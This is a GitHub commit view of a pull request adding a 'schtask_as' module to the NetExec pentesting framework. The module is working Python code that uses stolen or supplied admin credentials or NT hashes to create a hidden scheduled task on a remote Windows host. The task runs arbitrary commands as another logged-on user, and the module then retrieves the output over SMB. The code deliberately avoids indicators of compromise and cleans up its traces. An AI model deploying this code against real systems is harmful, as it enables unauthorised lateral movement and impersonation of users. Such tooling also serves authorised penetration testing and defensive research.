Merge pull request #54 from Dfte/main
Alex
GitHub
commit
314b7f6a81
|
|
@ -0,0 +1,289 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute a scheduled task remotely as a already connected user by @Defte_
|
||||
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
"""
|
||||
|
||||
self.cmd = self.user = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
if self.cmd is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
return 1
|
||||
if self.user is None:
|
||||
self.logger.fail("You need to specify a USER to run the command as")
|
||||
return 1
|
||||
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
connection.smb_share_name,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
output = exec_method.execute(self.cmd, True)
|
||||
|
||||
try:
|
||||
if not isinstance(output, str):
|
||||
output = output.decode(connection.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
# Required to decode specific french caracters otherwise it'll print b"<result>"
|
||||
output = output.decode("cp437")
|
||||
if output:
|
||||
self.logger.highlight(output)
|
||||
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__share_name = share_name
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__outputBuffer = b""
|
||||
self.__retOutput = False
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
else:
|
||||
self.__nthash = hashes
|
||||
|
||||
if self.__password is None:
|
||||
self.__password = ""
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
self.__aesKey,
|
||||
)
|
||||
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
return self.__outputBuffer
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
||||
def get_current_date(self):
|
||||
# Get current date and time
|
||||
now = datetime.now()
|
||||
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>{self.get_current_date()}</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>{self.user}</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
else:
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
|
||||
elif self.__retOutput is False:
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
|
||||
self.logger.debug(f"Generated argument XML: {argument_xml}")
|
||||
xml += argument_xml
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
return xml
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if "ERROR_NONE_MAPPED" in str(e):
|
||||
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("Schtask_as: Create schedule task got blocked.")
|
||||
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
|
||||
self.logger.fail(f"User {self.user} does not exist in the domain.")
|
||||
else:
|
||||
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
|
||||
return
|
||||
else:
|
||||
taskCreated = True
|
||||
|
||||
self.logger.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
else:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
sleep(3)
|
||||
tries += 1
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
|
||||
dce.disconnect()
|
||||
Loading…
Reference in New Issue